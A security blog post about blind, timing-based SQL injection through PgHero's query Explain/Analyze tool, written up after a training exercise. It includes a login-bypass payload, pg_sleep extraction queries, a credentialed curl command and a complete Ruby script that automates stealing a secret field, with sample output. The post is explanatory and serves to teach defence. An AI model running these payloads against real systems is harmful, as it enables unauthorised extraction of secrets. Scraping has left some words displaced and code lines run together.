In a classic SQL injection attack, an attacker will insert additional SQL into an otherwise safe query. Consider this user login query: SELECT 1 FROM users WHERE email = 'user@example.org' AND password = 'password'; If the user-inputted password isn’t sanitized, an attacker could craft an input that would change the query, e.g. : ' OR 1=' SELECT 1 FROM users WHERE email = 'user@example.org' AND password = 'password' OR 1='1'; The injected SQL closes the first predicate and ORs it to another that is always true; meaning that this “password” can be used to log in to any account. It’s important to note that while this bypasses account security, it doesn’t leak any sensitive information. That is, it’s a SQL injection attack because we can’t see the result of our SQL injection; the response to our login action doesn’t share what the password actually was. blind Picking on PgHero As part of a recent security training exercise, I was tasked with being a fake attacker who had gained access to one of our administrative tools. is a Ruby-based tool that provides an administrative interface to Postgres, with a focus on performance tuning. It is wonderfully useful. One included feature is a query Explainer and Analyzer: PgHero This tool provides the result of Explain or Analyze, both of which do not include any of the data from the result of the query. By wrapping the query in a transaction and rolling it back, this tool also prevents destruction or mutation of data. At first glance, it would seem that this is a pretty innocuous tool that can do no harm: can’t change anything, can’t retrieve anything. Timing-based Attack While Explain/Analyze doesn’t return the result of the query, it does return metadata about the query: . Consider the following query: how long it takes the query to execute SELECT CASE WHEN secret = 'secret' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ; This query will return quickly if the guess was wrong or take ~5s if correct. Using this query style and timing the execution time, we can now extract binary (yes/no) answers from the database. Using , every character in the string you’re trying to discover can be enumerated: substr -- brute force 1st characterSELECT CASE WHEN substr(secret, 1, 1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 1, 1) = 'b' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 1, 1) = 'c' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;... -- brute force 16th characterSELECT CASE WHEN substr(secret, 16, 1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 16, 1) = 'b' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;SELECT CASE WHEN substr(secret, 16, 1) = 'c' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;... Note: if you needed to do this as more than a proof of concept, binary searching will be much faster than testing each possibility. For each character, the query that took ~5s to run indicates the correct character. If for some reason isn’t available, any sufficiently slow/expensive query will do (e.g. joining on a field without an index). pg_sleep() To run these queries against PgHero, the SQL needs to be wrapped in an appropriate cURL command: curl --silent \-d "query='SELECT CASE WHEN substr(secret,1,1) = 'a' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id=1;'" \-d "commit=Analyze" \--user admin:password \ https://myhost.com/pghero/explain With a , we can automate the entire extraction process: little boilerplate POSITIVE_DELAY = 2CHARS = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a def query(table, field, id, char, pos)%Q[SELECT CASE WHEN substr(#{field}, #{pos}, 1) = \'#{char}\' THEN pg_sleep(#{POSITIVE_DELAY}) ELSE NULL END FROM #{table} WHERE id = #{id} ;]end def timeitt0 = Time.nowyieldTime.now - t0end def curl_test(table, field, id, char, pos)cmd = <<-CMD.squishcurl --silent -d "query=#{query(table, field, id, char, pos)}" -d "commit=Analyze"--user admin:passwordhttps://myhost.com/pghero/explainCMDtimeit { `#{ cmd }` } > POSITIVE_DELAYend def retrieve_field(table, field, id)buffer = ""(1..255).each do |pos|found = falseCHARS.each do |char|if curl_test(table, field, id, char, pos)puts "#{pos}: #{char}"buffer << charfound = truebreak # once a match is found, move onendendbreak unless found # if nothing matched, treat as end of stringendbufferend secret = retrieve_field('apps', 'secret', 1)puts "secret: #{secret}" And a sample run of this attack: $ ruby blind-sql.rb1: 62: 43: 24: 85: 96: a7: 18: 09: 910: c11: d12: 613: 314: b15: d16: f17: 018: 319: a20: 8key: 64289a109cd63bdf03a8 Summary Any SQL injection attack vector is bad news. Commonly they arise from programming errors, but administrative tooling can also expose SQL injection style attacks. If the SQL injection vector doesn’t expose the results of a query, the results can still be systematically extracted using a timing-based attack. Further reading: https://www.owasp.org/index.php/Blind_SQL_Injection http://www.sqlinjection.net/time-based/ https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf
